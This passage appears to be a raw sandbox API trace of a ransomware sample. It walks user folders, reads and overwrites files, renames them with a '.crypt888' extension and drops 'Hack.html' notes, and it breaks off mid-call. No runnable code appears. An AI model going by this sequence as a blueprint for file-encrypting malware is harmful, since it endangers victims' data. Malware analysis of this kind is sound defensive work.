dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.854] GetFileType (hFile=0x174) returned 0x1 [0082.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.854] GetFileType (hFile=0x174) returned 0x1 [0082.854] WriteFile (in: hFile=0x174, lpBuffer=0x272e1f0*, nNumberOfBytesToWrite=0x9bd0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x272e1f0*, lpNumberOfBytesWritten=0x39ed14*=0x9bd0, lpOverlapped=0x0) returned 1 [0082.855] CloseHandle (hObject=0x174) returned 1 [0082.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx", lpFilePart=0x0) returned 0x4e [0082.859] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx.crypt888", lpFilePart=0x0) returned 0x57 [0082.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\nibs2gpmdfps.pptx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f93780, ftCreationTime.dwHighDateTime=0x1d45e1d, ftLastAccessTime.dwLowDateTime=0xe4dbbd10, ftLastAccessTime.dwHighDateTime=0x1d4603b, ftLastWriteTime.dwLowDateTime=0xc2961160, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x9bd0)) returned 1 [0082.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.859] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\nibs2gpmdfps.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\nibs2gpmdfps.pptx.crypt888")) returned 1 [0082.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx", lpFilePart=0x0) returned 0x4e [0082.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\wqulyremmrcy.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.860] GetFileType (hFile=0x174) returned 0x1 [0082.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.860] GetFileType (hFile=0x174) returned 0x1 [0082.860] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xffdf [0082.861] ReadFile (in: hFile=0x174, lpBuffer=0x2738278, nNumberOfBytesToRead=0xffdf, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2738278*, lpNumberOfBytesRead=0x39ed24*=0xffdf, lpOverlapped=0x0) returned 1 [0082.862] CloseHandle (hObject=0x174) returned 1 [0082.884] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx", lpFilePart=0x0) returned 0x4e [0082.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\wqulyremmrcy.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.886] GetFileType (hFile=0x174) returned 0x1 [0082.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.887] GetFileType (hFile=0x174) returned 0x1 [0082.887] WriteFile (in: hFile=0x174, lpBuffer=0x27b4ff4*, nNumberOfBytesToWrite=0xffe0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27b4ff4*, lpNumberOfBytesWritten=0x39ed14*=0xffe0, lpOverlapped=0x0) returned 1 [0082.889] CloseHandle (hObject=0x174) returned 1 [0082.890] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx", lpFilePart=0x0) returned 0x4e [0082.890] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx.crypt888", lpFilePart=0x0) returned 0x57 [0082.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\wqulyremmrcy.docx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c50a40, ftCreationTime.dwHighDateTime=0x1d46021, ftLastAccessTime.dwLowDateTime=0x47606d30, ftLastAccessTime.dwHighDateTime=0x1d46057, ftLastWriteTime.dwLowDateTime=0xc29ad420, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xffe0)) returned 1 [0082.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\wqulyremmrcy.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\wqUlyreMmrCy.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\wqulyremmrcy.docx.crypt888")) returned 1 [0082.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO", lpFilePart=0x0) returned 0x45 [0082.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\", lpFilePart=0x0) returned 0x46 [0082.892] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0082.892] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.892] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.893] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.893] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0082.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.893] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO", lpFilePart=0x0) returned 0x45 [0082.893] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\", lpFilePart=0x0) returned 0x46 [0082.893] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0082.894] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.894] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.894] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.894] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0082.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv", lpFilePart=0x0) returned 0x5e [0082.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0082.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\xbw5lmgo\\-km_hbkecsa1unirmuoa.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.895] GetFileType (hFile=0x174) returned 0x1 [0082.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0082.895] GetFileType (hFile=0x174) returned 0x1 [0082.895] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xcd8c [0082.895] ReadFile (in: hFile=0x174, lpBuffer=0x27c71bc, nNumberOfBytesToRead=0xcd8c, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27c71bc*, lpNumberOfBytesRead=0x39ecf0*=0xcd8c, lpOverlapped=0x0) returned 1 [0082.896] CloseHandle (hObject=0x174) returned 1 [0082.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv", lpFilePart=0x0) returned 0x5e [0082.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0082.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\xbw5lmgo\\-km_hbkecsa1unirmuoa.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.920] GetFileType (hFile=0x174) returned 0x1 [0082.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0082.920] GetFileType (hFile=0x174) returned 0x1 [0082.920] WriteFile (in: hFile=0x174, lpBuffer=0x283a844*, nNumberOfBytesToWrite=0xcd90, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x283a844*, lpNumberOfBytesWritten=0x39ece0*=0xcd90, lpOverlapped=0x0) returned 1 [0082.922] CloseHandle (hObject=0x174) returned 1 [0082.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv", lpFilePart=0x0) returned 0x5e [0082.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv.crypt888", lpFilePart=0x0) returned 0x67 [0082.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0082.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\xbw5lmgo\\-km_hbkecsa1unirmuoa.csv"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5da540, ftCreationTime.dwHighDateTime=0x1d45db4, ftLastAccessTime.dwLowDateTime=0x7d3c57e0, ftLastAccessTime.dwHighDateTime=0x1d45d3a, ftLastWriteTime.dwLowDateTime=0xc29f96e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xcd90)) returned 1 [0082.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0082.929] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\xbw5lmgo\\-km_hbkecsa1unirmuoa.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\-KM_hBkEcsa1UniRMuOa.csv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\xbw5lmgo\\-km_hbkecsa1unirmuoa.csv.crypt888")) returned 1 [0082.930] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\Hack.html", lpFilePart=0x0) returned 0x4f [0082.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0082.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\xBW5lmGO\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\xbw5lmgo\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.931] GetFileType (hFile=0x174) returned 0x1 [0082.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0082.931] GetFileType (hFile=0x174) returned 0x1 [0082.931] WriteFile (in: hFile=0x174, lpBuffer=0x2849200*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2849200*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0082.932] CloseHandle (hObject=0x174) returned 1 [0082.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\Hack.html", lpFilePart=0x0) returned 0x46 [0082.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.933] GetFileType (hFile=0x174) returned 0x1 [0082.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.933] GetFileType (hFile=0x174) returned 0x1 [0082.933] WriteFile (in: hFile=0x174, lpBuffer=0x284ba20*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x284ba20*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.934] CloseHandle (hObject=0x174) returned 1 [0082.935] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hack.html", lpFilePart=0x0) returned 0x31 [0082.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0082.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.935] GetFileType (hFile=0x174) returned 0x1 [0082.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0082.936] GetFileType (hFile=0x174) returned 0x1 [0082.936] WriteFile (in: hFile=0x174, lpBuffer=0x284e1e8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x284e1e8*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0082.937] CloseHandle (hObject=0x174) returned 1 [0082.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0082.937] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0082.937] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x28 [0082.937] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0082.938] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.938] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.938] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0082.938] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0082.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0082.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0082.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0082.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x28 [0082.939] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0082.939] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.939] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.939] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0082.940] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0082.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0082.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\Hack.html", lpFilePart=0x0) returned 0x31 [0082.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0082.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.941] GetFileType (hFile=0x174) returned 0x1 [0082.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0082.941] GetFileType (hFile=0x174) returned 0x1 [0082.941] WriteFile (in: hFile=0x174, lpBuffer=0x2851e84*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2851e84*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0082.945] CloseHandle (hObject=0x174) returned 1 [0082.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0082.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0082.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpFilePart=0x0) returned 0x28 [0082.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0082.946] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.946] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | 